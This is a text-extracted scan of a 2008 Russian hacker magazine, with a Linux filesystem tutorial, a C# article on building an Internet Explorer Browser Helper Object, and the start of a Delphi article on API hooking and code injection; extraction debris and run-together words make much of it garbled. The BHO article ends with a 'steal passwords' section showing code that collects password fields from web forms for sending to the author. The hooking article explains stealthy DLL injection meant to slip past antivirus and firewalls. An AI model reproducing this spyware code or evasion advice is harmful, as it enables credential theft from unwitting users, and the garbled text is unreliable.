Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
16.11 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> unixoidto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.4. Разницамеждуобычнымфайломифайломустройства

Затемможнообратитьсякфайламсозданногообразабеззаписиегонаболванку.Дляэтогонужноподмонтироватьисошку ккорневойфайловойсистеме(каталог/mnt/fs должен существовать):

# mount -o loop -t iso9660 ~/image.iso /mnt/fs

Теперьтыможешьработатьс/mnt/fs,каксобычнымкаталогом.

НоработасISO-образами—неединственноеприменение loop-устройств.Можетслучитьсятак,чтопослеустановкисис- темыокажется,чтооперативнойпамятинехватает.Покупать дополнительныймодульпамятинехочется,апереразбивать жесткийдисксцельюувеличенияразмераразделаподкачки

—темболее.Можносоздатьпустойфайл,отформатировать егокакфайлподкачкииподключитьксистеме:

#mkdir /swap

#dd if=/dev/zero of=/swap/sw-file bs=1k count=262144

#mkswap /swap/sw-file 262144

#swapon /swap/sw-file

Первая команда создает пустой файл размером 256 Мб. Вторая — форматирует его как своп. Для Linux нет особой разницы, с чем работать — с файлом или с блочным устройством. Ты запросто можешь отформатировать обычный файл в любую файловую систему. Третья команда

подключает созданный своп-файл к системе. Можешь ввести команду free, чтобы убедиться, что файл подкачки подключен. Только не забудь добавить последнюю команду в сценарии запуска системы, чтобы не вводить ее после каждой перезагрузки.

Монтирование каталога к каталогу

ВLinuxможноподмонтироватькаталогккаталогу,анетолько каталогкустройству.Делаетсяэтоспомощьювсетойже командыmount,нозапущеннойспараметром'--bind':

# mount --bind исходный_каталог каталог_назначения

Изменение корневой файловой системы

Linuxпозволяетизменятькорневуюфайловуюсистему. Предположим,тызагрузилсясLiveCDитеперьнужноподключитькорневуюфайловуюсистемутак,чтобывсеизменения, производимыевводимымикомандами,относилисьименнок корневойфайловойсистеменажесткомдиске,анеккорневой файловойсистемеLiveCD.Ивот,какэтосделать:

# chroot точка_монтирования

Например:

# chroot /mnt/newroot

Восстановление загрузчика GRUB: пошаговое руководство

ПослепереустановкиWindowsвнедрилавMBRсвойзагрузчик,итеперьнельзязагрузитьLinux?Непереустанавливать жеещеиLinuxиз-затакоймелочи!Длявосстановленияза- грузчикаGRUBбутимсяслюбогоLiveCDивводимследующие команды:

links

На Википедии

(ru.wikipedia.org)

можно найти кучу материалов, посвященных файловым системам. Для поиска используй ключевые слова: ext2, ext3, reiserfs, fuse, sshfs.

#mkdir -p /old/dev

#mount /dev/sdaX /old

#mount --bind /dev /old/dev

#chroot /old

#/sbin/grub-install /dev/sda

#reboot

Вместо заключения

К сожалению, мы рассмотрели далеко не все возможности файловой системы Linux. В частности, не были рассмотрены права доступа, квотирование, практически ничего не сказано о создании ссылок. Все это темы для отдельного разговора, а пока, если у тебя есть вопросы/комментарии/пожелания, можешь обращаться по адресу dhsilabs@mail.ru. z

Рис5.Созданиеимонтированиефайласфайловойсистемой

Рис6.Созданиеиподключениесвоп-файла

xàêåð 05 /113/ 08

099

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> coding

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Александр Эккерт

/ aleksandr-ehkkert@rambler.ru /

Реальная

помощь

домохозяйкам

Учимся кодить модули поддержки обозревателя

Полезная вещь — BHO. Большое количество коммерческих программ — от менеджеров закачки до словарей-переводчиков — так или иначе требующих доступ к браузеру, встраивают своих помощников в Internet Explorer.

В статье мы расскажем, как средствами C# и Microsoft Visual Studio создать собственный модуль. Естественно, с немного хакерскими функциями.

COM — Component Object Model

СпектрвозможногопримененияBHOогромен—отпростогошпионского модуля,которыйотслеживаетвводимыеданные,доподменысодержимого веб-странициперенаправлениязапросовпользователя.Емупозволено практическивсе!Носначала—теория.

ТехнологияСОМразрабатывалась,чтобысделатьприложенияболее гибкимиинастраиваемыми.Первоначальнойцельюбылаподдержка концепции,известнойкаксвязываниеивнедрениеобъектов(objectlinking andembedding).Реализация,созданнаявMicrosoft,получиланазвание OLE.ПерваяверсияOLEдлясвязимеждуклиентомикомпонентомисполь- зоваладинамическийобменданными(dynamicdataexchange—DDE).В OLE1небылоСОМ,DDEбылпостроеннаосновеархитектурыпередачи сообщенийWindows.Лучшее,чтоможносказатьобOLE1,этото,чтоонвсе жеработает—болееилименее.Во-первых,DDEмедлителен.Во-вто- рых,написатькорректноработающийкодDDEсложно.Вдобавок,DDEне отличаетсянадежностьюигибкостью.Другимисловами,раноилипоздно должныбылиизобрестичто-нибудьполучше.

РешениемсталаСОМ—меньше,быстрее,гибче,надежнее,чемDDE.Вторая версияOLEбылапереписанасиспользованиемСОМ,иименноСОМстала

новымфундаментом,накоторомвыстроеныконструкцииOLE.ОднакоOLE

—перваясистеманаосновеСОМ,икаклюбойпервыйблин,представляет собойнелучшийпримериспользованияеговозможностей.Порядупричин OLEзаслужилрепутациюсложного,медленногоитрудногодляпрограммированияаппарата.Впрочем,это,скорее,недостаткиреализации,анеСОМ. СОМ—больше,чемпростоспецификация.ВСОМестьAPI;этобиблиотека, предоставляющаясервисыуправлениякомпонентами.ЕслитыразрабатываешькомпонентывстилеСОМнедляWindows,тобольшинствофункций этогоAPIнесложнореализоватьсамостоятельно.БиблиотекаСОМсоздана, чтобыгарантироватьединообразноевыполнениевсемикомпонентами наиболееважныхопераций.Онаэкономитвремяразработчикам,создающимсобственныекомпонентыиклиенты.Большаячастькодавбиблиотеке СОМслужитдляподдержкираспределенныхилисетевыхкомпонентов. РеализацияраспределеннойСОМ(DistributedCOM,DCOM)всистемах Windowsпредоставляеткод,необходимыйдляобменаинформациейскомпонентамипосети.Этоизбавляетнаснетолькоотнеобходимостиписать такойкод,ноиотнеобходимостизнать,какэтоделать!

СамоеглавноевСОМ—этоинтерфейсы.Черезнихклиентвзаимодейству- етс компонентом.Онипохожинаэлементыкаркасасборногодома—кар-

100

xàêåð 05 /113/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> codingto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

касзадаетструктуру,безкоторойкрышаистенынезащитят

нальность.Внашемпроекте,кромеопределенийметодов

 

 

жителей.Еслимынетрогаемкаркас,домостается«струк-

GetSiteиSetSite,нужнопредусмотретьреализацию

 

турно»темжесамым.Заменастенвлияеттольконавнешний

методаOnDocumentComplete.Этафункцияявляетсячастью

 

 

вид.Аналогичноэтому,заменакомпонентовможетизменить

классаCDHtmlDialogивызываетсяпризавершениизагруз-

 

 

поведениеприложения,нонеегоархитектуру.

кистраницы(подробностисмотринаhttp://msdn2.microsoft.

links

 

Одноизсамыхбольшихпреимуществкомпонентноймодели

com).Такжедобавимдвепеременные—WebBrowserи

Тема создания BHO

 

—возможностьповторногоиспользованияархитектуры

HTMLDocument.Онипозволятполучитьдоступксодержимому

широко обсужда-

 

приложения.Просторазрешивзаменятьнекоторыеключевые

веб-страницы.

ется на форумах

 

компоненты,мыдобиваемсятого,чтооднаитажеархитектура

Теперьоченьважныйшаг—чтобыполучитьвозможность

realcoding.net,

 

можетподдерживатьнесколькоразличныхприложений.

аттачитьсякIE,нужноуказатьссылкунаGUIDинтерфейса

gotdotnet.ru и, ко-

 

«ПричемтутBHO?»,спросишьты.Деловтом,чтоBHO,

IObjectWithSiteFC4801A3-2BA9-11CF-A229-

нечно же, MSDN.

 

которыймыхотимнаписать,иестьСОМ-объект,реализующий

00AA003D7352.Обычноонпрописываетсявэтихдвухветках

 

 

интерфейсIObjectWithSiteиподключающийсякInternet

реестра: HKEY_CLASSES_ROOT\Interface\{FC4801A3-

 

 

Explorer.НашпродуктбудетвосприниматьIntrenetExplorer

2BA9-11CF-A229-00AA003D7352}иHKEY_LOCAL_

 

 

всеголишькакнаборинтерфейсов,которыеинужнореализо-

MACHINE\SOFTWARE\Classes\Interface\{FC4801A3-

 

 

ватьвнашейпрограмме.

2BA9-11CF-A229-00AA003D7352}.

 

 

 

 

Иэтоженадосделатьприописанииинтерфейса

 

 

 

Что такое BHO?

IObjectWithSiteпутемдобавленияатрибута[ComVisible(true)].

dvd

 

 

 

 

 

Есливдвухсловах,тообъектBHOявляетсякомпактным

Добавив GUID к описанию, добавим то же самое, но уже

 

расширениемввидеDLL-библиотеки,дополняющимобо-

в код самого BHO. Затем описываем функциональность

На диске ты найдешь

 

зревательInternetExplorerпользовательскимифункциями

методов GetSite и SetSite. Реализация этих методов

написанный на C#

 

(менеераспространенслучай,когдаихдобавляюткоболочке

проста:

вариант реализации

 

WindowsShell).

 

 

BHO.

 

Какправило,объектыBHOнеимеютсобственногополь-

МетодGetSite

 

зовательскогоинтерфейсаисуществуютввидепростой

public int GetSite(

 

 

библиотеки,которуюIEподгружаетпристарте.BHOработают

ref Guid guid,

 

 

вбэкграунде,реагируянасобытияобозревателяидействия

out IntPtr ppvSite)

 

 

пользователя.Например,могутблокироватьвсплывающие

{

 

 

 

окна,автоматическизаполнятьформыилиреагировать

IntPtr pointer =

 

 

надвижениямыши.Типичнымявляетсязаблуждение,что

Marshal.GetIUnknownForObject(webBrowser);

 

 

объектыBHOтребуютсядлясозданиярасширенийпанели

int face = Marshal.QueryInterface(

info

 

инструментов(тулбаров).Темнеменее,всочетаниисними

pointer, ref guid, out ppvSite);

Программирование

 

ВНОможетпредоставитьпользователюрасширенныевоз-

Marshal.Release(pointer);

BHO советую начать

 

можности.

return face;

с изучения COM,

 

ОбъектыBHOудобныидляразработчиков—времяжизни

}

 

например, с книги

 

объектаBHOсовпадаетсовременемжизниэкземпляраобоз-

 

 

Дейла Роджерсона

 

 

ревателя,скоторымонвзаимодействует.ВInternetExplorer

В приведенной выше функции GetIUnknownForObject

«Основы COM»: www.

6иболеераннихверсияхэтоозначаетсозданиеновогообъек-

мы получаем описатель интерфейса IUnknown для нашего

podgoretsky.com/

 

таBHO(иегоуничтожение)длякаждогоокнаверхнегоуровня,

браузера. Осталось только добавить идентификатор CLSID

classics.html.

 

авInternetExplorer7—длякаждойвкладки.ОбъектыBHO

объекта BHO в реестр. Эта запись описывает библиотеку DLL

 

 

незагружаютсядругимиприложениями,которыеиспользуют

как объект модуля поддержки обозревателя и заставляет

 

 

элементуправленияWebBrowser,илиокнами,использующи-

обозреватель IE загружать объект BHO при запуске. Среда

 

 

миHTML(например,диалоговымиокнами).

Visual Studio может зарегистрировать идентификатор CLSID

 

 

Итак,поехали...

во время сборки проекта. Запомни: все BHO для Internet

 

 

 

 

Explorer регистрируются вот в этой ветке реестра: HKEY_

 

 

 

Создаем BHO

LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\

 

 

ОсновноетребованиекобъектуBHO—наличиереализации

CurrentVersion\Explorer\Browser Helper

 

 

интерфейсаIObjectWithSite.Этотинтерфейспредостав-

Objects.

 

ляетметодSetSite,которыйобеспечиваетпервоначальный

 

 

 

 

обменинформациейсInternetExplorerиуведомляетобъект

 

 

 

 

BHOоподготовкекосвобождению(free).Создавпростое

 

 

 

 

расширениедляобозревателяспомощьюэтогоинтерфейса,

 

 

 

 

мыдобавимидентификаторCLSIDобъектаBHOвреестр.

 

 

 

 

ДляначаласоздадимновыйпроектClassLibraryвVS.Не

 

 

 

 

забудьдобавитькпроектуссылкинадвевнешниебиблиотеки

 

 

 

 

SHDocVwиMSHTML(SHDocVw—путемдобавлениябиб-

 

 

 

 

лиотекиshdocvw.dll,котораялежитвпапке%systemroot%/

 

 

 

 

system32).Кромеэтогонужноподключитьдополнительное

 

 

 

 

пространствоименSystem.Runtime.InteropServicesи

 

 

 

 

Microsoft.Win32.

 

 

 

 

НашBHOбудетсостоятьиздвухраздельныхклассов—пер-

 

 

 

 

вый(bugaga)содержитвсебеопределениеинтерфейса

 

 

 

 

IObjectWithSite(всвоюочередь,включаетпрототипы

 

 

 

 

двухфункций—GetSiteиSetSite)ивторой(functional),

 

 

 

 

 

 

 

 

 

которыйбудетреализовыватьвсюнеобходимуюфункцио-

РегистрациясборкиприпомощиутилитыRegAsm

 

xàêåð 05 /113/ 08

101

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> coding

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

СозданныйнамиCLSID

Всеработает!

Делаемэтотак:добавляемещеоднуфункциюregisterдлярегистрацииBHO ипереднейставиматрибут[ComRegisterFunction].Далеезапускаем утилитуRegAsm.exeсключом/codebase.Оназарегистрируетнашу сборкуи—вуаля!—ввышеуказанномключереестрапоявляетсястрокас CLSID.ЭтоиестьнашBHO!

Маленькое лирическое отступление: если ты собираешься использовать BHO для своих грязных целей, имей в виду, все антивири и файры постоянно отслеживают запись в указанную ветку реестра. Поэтому регистрация BHO в системе — вещь крайне шумная и неудобная.

Тырим пароли...

Дляболееполногоконтролязадействиямипользователянеобходимобудет реализоватьобработкусобытийклассаWebBrowser,напримерсобытия onBeforNavigate2.

Код,которыйбудетсобиратьпаролисформвеб-страниц,можетвыглядеть так:

public void OnBeforNavigate2 (ref objectTargetFrameName, ref object PostData,

ref object Headers, ref bool Cancel)

{

document = (mshtml.HTMLDocument)webBrowser.Document; foreach(mshtml.IHTMLInputElement el

in document.getElementsByTagName("input"))

{

if(el.type.ToLower() == "password") //шлем пароль мне...

}

}

Вотивсе!СозданныйнамиBHOневеликвразмере,новполнеработоспо- собен.Впринципе,всозданииBHOнетничегосложного,главное—иметь представлениеоработеCOM-компонентов.

Заключение

Логичнопредположить,чтоBHOпопулярныкаксредидобрыхичестныхразработчиков,которымтребуетсярасширениефункциональности обозревателя,такисрединедобрыхдяденекхакеров,которыепытаются поставитьподконтрольтвоидействиявинтернете.Надискеищиготовый кодBHO,который,проявивсмекалку,можешьбезпроблемрасширитьпод своизамыслы.Enjoy!z

ДобавляемGUID

Добавлямshdocvw.dll

102

xàêåð 05 /113/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> coding

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Игорь Антонов

/ vr-online.ru /

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Функциональная

шпиономания

Краткий курс перехвата функций в Delphi

В одном из номеров нашего журнала в рубрике FAQ был задан вопрос: «Как можно перехватить данные, отправляемые сетевым приложением?». В ответ Step порекомендовал использовать функцию WinSock hook из пакета сетевых утилит — IP Tools. Возможности WinSock hooker мне настолько понравились, что я решил написать свой вариант подобной программы. И в этой статье хочу поделиться с тобой опытом, полученным при разработке.

Теория

Начнем с теории, которую, правда, и так знает большинство наших читателей. Все API-функции определены в динамических библиотеках. Сразу возникает вопрос: «Откуда приложение знает, в какой библиотеке объявлена нужная функция?». Ответ прост — в любом PE-файле есть область, называемая таблицей импорта. В ней перечислена информация обо всех импортированных функциях, необходимых для корректной работы. Загрузчик PE считывает эту инфу и подгружает необходимые библиотеки в адресное пространство процесса программы. Например, чтобы узнать список всех DLL, подгруженных в адресное пространство процесса, можно воспользоваться утилитой от Марка Руссиновича «Process Explorer». Взгляни на рисунок, на нем отображен список DLL

процесса Opera.exe.

Обрати внимание на выделенную в нижней части окна «Process Explorer» библиотеку DLL с именем WS2_32.dll. В ней определен весь набор сетевых функций WinSock API второй версии. Одну из функций этой библиотеки нам предстоит сегодня научиться перехватывать. В перехвате нет ничего нетривиального. Все, что требуется от программиста, так это заставить процесс жертвы обращаться не к системной функции, а к нашей — подставной. Дальше остается только командовать. Перехватить API-функции можно несколькими способами. Вот самые популярные:

1.Редактирование таблицы импорта. Наверное, способ является самым известным и уж точно самым простым. Суть метода заключается в следую-

щем. В таблице импорта PE-файлов содержатся адреса всех импортируемых функций. Для перехвата необходимо пробежаться по этой табличке, найти адрес функции, которую мы будем перехватывать, и поменять его на адрес функции, определенной нами. Совершив эту нехитрую манипуляцию, мы сможем обрабатывать все вызовы перехватываемой функции. Несмотря на простоту реализации, нас подстерегает несколько досадных огорчений. Самое главное, что не все функции могут вызываться через таблицу импорта.

2.Модификация кода системной функции. Для реализации этого способа необходимо «пропатчить» перехватываемую функцию, а именно записать в самом ее начале переход на подставную функцию. Тогда все обращения к оригиналу будут попадать на функцию-подставу. Тут важно не забыть сохранять значение перезаписываемого участка памяти, иначе можно попрощаться с корректной работой приложения жертвы. У метода есть как плюсы, так и минусы. Из достоинств можно выделить возможность перехвата абсолютно любых функций, то есть не только тех, что определены в таблице импорта. Среди минусов — вероятность появления ошибок в многопоточных приложениях. Хотя при наличии головы на плечах это достаточно легко обходится. В качестве способа лечения подходит банальная остановка всех потоков приложения и их запуск после установки перехвата. Перехват API удобнее всего осуществлять в контексте процесса «жертвы», поэтому необходимо внедрить свой код в удаленный процесс. Существует несколько «устаканившихся» вариантов вторжения в чужие процессы:

104

xàêåð 05 /113/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

NOW!

o

 

>> codingto BUY

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Промежуточноетестирование

1.Внедрение образа своего процесса. Позволяет целиком внедрить свое приложение в чужое адресное пространство. Удобство такого способа в том, что можно обойтись без всяких лишних DLL, повысив скрытность. Даже если жертва воспользуется утилитами вроде ProcessExplorer, то не увидит ничего необычного.

2.Внедрение подготовленной DLL. Этот вариант можно назвать классическим. Для его реализации нужно создать DLL, в которой будет организован один из способов перехвата, и приложение, которое будет инжектировать ее в нужный процесс. Один из минусов я уже озвучил, поэтому перейду сразу к плюсам. Главный плюс состоит в возможности прописывания DLL в реестре, после чего она будет автоматически загружаться. В результате исключается необходимость в написании программы для внедрения DLL.

У многих может сложиться впечатление, что перехват — дело объемное и сложное. Действительно, реализовать метод внедрения и перехвата

— задача не самая простая, но Delphi программистам сильно повезло. С легкостью организовать перехват функций и внедриться в чужой процесс поможет модуль advHookApi, написанный гениальным программером Ms-Rem. Модуль спроектирован качественно, все функции удобно описаны, код оформлен красиво. Единственное разочарование в том, что сегодня уже нельзя выразить респект автору. Этот человек мертв. Очень грустно, что гениальных людей так рано забирает смерть.

Хакерский модуль

Итак,давайпосмотрим,какимивозможностямиможетпохвастатьсяданныймодуль.

1.Внедрениекодавудаленныйпроцесс.Вышеярассказывалонескольких вариантахвнедрениясвоегокодавадресноепространствочужогопроцесса.ВadvHookAPIреализованыследующиеметоды:

•  ВнедрениеDLLвчужойпроцесс.Методреализуетсяспомощьюфункции InjectDll(),котораяописанаследующимобразом:

function InjectDll(Process: dword; ModulePath: PChar): boolean;

Вкачествепараметровнужнопередатьдескрипторпроцесса,вкоторыйбудемвнедрятьdll,ипутьксамойбиблиотеке.Вслучаеуспешноговнедрения результатбудетtrue.

•  Скрытое внедрение DLL. Функция InjectDllEx() внедряет DLL и производит шаманские действия над образом Dll в памяти. После таких настроек многие программы (антивирусы, персональные firewall)

Вотони,всеDLLпроцесса

начинают нервно курить и не замечать черных дел твоей программы. •  Внедрениепроизвольногоexe-файла.Осуществляетсяприпомощи функцииInjectExe().

function InjectExe(Process: dword; Data: pointer): boolean;

Дляработыфункциитребуетсяпередатьдвапараметра:

1.Дескриптор(handle)процесса,вкоторыйбудемвнедряться.

2.Адресобразафайлавтекущемпроцессе.

•  Инъекция образа текущего процесса. Функция InjectThisExe() будет полезна, когда не хочется или нет возможности юзать библиотеки DLL. Описание функции и параметров приводить не стану, так как они стандартные и ничем не отличаются от описания предыдущей.

•  Внедрениевпроцесспроцедуры.

function InjectThread(Process: dword; Thread: pointer; Info: pointer; InfoLen: dword;

Results: boolean): THandle;

Уфункциипятьвходныхпараметров: 1.Process—дескрипторпроцесса.

2.Thread—указательнапроцедуру,которуюбудемвнедрять.3.Info—ад- ресданныхдляпроцедуры.4.InfoLen—размерпередаваемыхданных.

5.Results—необходимостьвозвратарезультата(еслиtrue,тофункция вернетпереданныеданные).

2.ПерехватWindowsAPI.Вмодулеопределенодвефункциидляустановки перехвата:

function HookCode(TargetProc, NewProc: pointer; var OldProc: pointer): boolean;

Первая устанавливает перехват нужной функции. В качестве параметров просит: 1. TargetProc — адрес перехватываемой функции. 2. NewProc

— адрес функции, которая будет вызываться вместо перехватываемой. 3. OldProc — переменная, в которой будет сохранен адрес моста к оригинальной функции (пригодится, когда потребуется остановить перехват и вернуть все на место). Для перехвата функций, экспортируемых из DLL в текущем процессе, предусмотрена отдельная функция:

function HookProc(lpModuleName, lpProcName: PChar; NewProc: pointer; var OldProc: pointer): boolean;

xàêåð 05 /113/ 08

105

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> coding

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

